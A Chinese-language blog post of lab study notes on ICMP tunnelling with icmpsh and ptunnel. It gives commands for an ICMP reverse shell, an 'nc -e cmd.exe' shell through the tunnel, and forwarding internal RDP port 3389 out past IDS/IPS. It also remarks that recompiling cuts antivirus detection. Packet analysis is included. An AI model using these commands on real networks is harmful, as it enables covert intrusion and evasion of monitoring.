ICMP隧道学习笔记

ICMP隧道学习笔记

原理

ICMP协议通常用于返回的错误信息或是分析路由,ping和traceroute使用的就是这个协议。通常两台设备通信需要通过端口,但在ICMP协议下就不需要,依据这个特点可绕过IDS、IPS等设备。

icmpsh

icmpsh是基于ICMP协议,可在攻击者服务器跨平台运行的Windows反弹shell工具。下面其是github上的项目地址。

https://github.com/inquisb/icmpsh

使用方法

把icmpsh项目从github上下载下来,把其中的icmpsh.exe上传到目标主机。

Linux作为攻击者服务器则需要安装python的impacket库,我的Parrot系统上已将安装好了。

1
2

sudo apt install python-impacket

run.sh脚本里获取网卡和ip地址的方法在我的系统里无效,于把获取命令稍微改了一下,我的网卡名是eth0。

1
2

IP=$(ifconfig "eth0" |grep "inet "| awk '{ print $2 }')

接着以管理员权限运行run.sh脚本,输入目标主机的ip地址,复制给出的命令到目标主机运行。

目标主机执行命令后成功反弹shell。

其实直接运行项目下的icmpsh_m.py效果也是一样的,不过要先手动关闭ping命令的ICMP应答。

1
2
3
4

sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1

sudo python icmpsh_m.py ATTACKER_IP VICTIM_IP

数据包分析

使用tcpdump抓下192.168.189.129和192.168.189.135之间的所有数据包。

1
2

sudo tcpdump ip host 192.168.189.129 and 192.168.189.135 -w /tmp/icmp.cap

用wireshark打开再去到的数据,可以看到两台主机之间的数据包的协议都是ICMP。

找到了对输入命令请求和响应的两个包,发现他们的内容都明文存储在ICMP报文的Data结构处。

杀软查杀情况

由于能够直接反弹shell,在virustotal几乎一半的厂商都报毒了。

使用源码从新编译的上传上去试试,只有一个厂商报毒。

ptunnel

与icmpsh一样,ptunnel也是基于ICMP协议的工具,但ptunnel是一个纯粹的ICMP隧道,能实现正向隧道的功能。经我测试icmpsh需要两台机器都是公网的才能反弹shell,ptunnel就没这个问题,但使用这个需要管理员权限。Kali和Parrot已有这个工具,也有Windows版,需要自己编译,但无论是我自己编译的,还是GitHub上编译好的都没法在Windows2012上运行,倒是能在Windows10上运行,不知道是不是编译环境的问题,还是他WinPcap库的问题。

https://github.com/ptunnel-win/ptunnel(非官方,貌似官方没发在GitHub上)

自己编译要装好MinGW。

编译方法:把项目clone下来,再把WinPcap库下载下来,放到同一个项目文件夹里,在使用如下命令编译。

1
2

gcc ptunnel.c md5.c -L".\WpdPack\Lib" -I".\WpdPack\Include" -lwpcap -lwsock32 -g -Wall -DWIN32 -o ptunnel.exe

使用方法

反弹shell

服务端:

1
2

sudo ptunnel

客户端:

1
2

ptunnel.exe -p SERVER_IP -lp 8888 -da SERVER_IP -dp 8888

服务的出现建立Session的字样既成功建立ICMP隧道。

现在测试下再目标主机反弹个shell,先在攻击者主机监听指定端口,然后再在目标主机用nc反弹个shell到本地监听的端口。注意顺序不对可能连接不上,玄学问题。

1
2
3
4
5
6
7
8

server:

nc -lvp

client:

nc.exe 127.0.0.1 3399 -e C:\Windows\System32\cmd.exe

映射3389

既然都建立了ICMP隧道了,仅仅反弹个shell肯定是不够的,下面就试试内网3389通过ICMP隧道映射到外网。以下是拓扑图:

先在Attacker主机开启ptunnel。

1
2

sudo ptunnel

再在Server主机ptunnel作为服务端开启本地监听端口。

1
2

ptunnel.exe -p 192.168.3.65 -lp 3399 -da 192.168.3.65 -dp 3399

接着在Attacker主机使用lcx类的工具,开启监听模式。这里的lcx类工具我使用的是NATBypass,用go编写,编译成不同可执行文件后可跨平台使用。

https://github.com/cw1997/NATBypass

1
2

./nb -listen 3399 3389

最后在Server主机使用slave模式,转发3389到ptunnel本地监听的端口。

1
2

nb.exe -slave 127.0.0.1:3389 127.0.0.1:3399

出现accept a new client字样,既成功建立连接。

小结

通过ICMP隧道映射3389就这简简单单几条命令,但是遇到命令执行顺序和,一开始使用的GitHub上用C写的跨平台lcx,同网段能通过隧道,不同网段不能的问题,排查起来花了一天,wtcl。

数据包分析

用wireshark抓下反弹shell时的数据包。没有使用密码时,数据包内容跟icmpsh一样,都是明文写在ICMP报文的Data结构里,但是Data结构里还有几十字节的其他内容,可能是记录转发ip和端口之类的内容。

使用密码时反弹shell的数据包是一样的,可能是在建立隧道时才进行一次密码确认。

杀软查杀情况

ptunnel在virustotal上有五个厂商报毒,其中一个识别出来是ptunnel,总体问题不大。(我怎么记得昨天才有两个报毒的呢-_-!)

其他工具

其他类似工具有pingtunnel,用go编写,支持转发tcp、udp和sock5,能够开平台使用。不过我用这个想把3389映射出来时,遇到点问题,没映射成功。

后记

以前不知道ping和traceroute有的是什么协议,现在知道了是他们特有的ICMP协议,通过ICMP还了解到这么多妙用:D

# ICMP

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×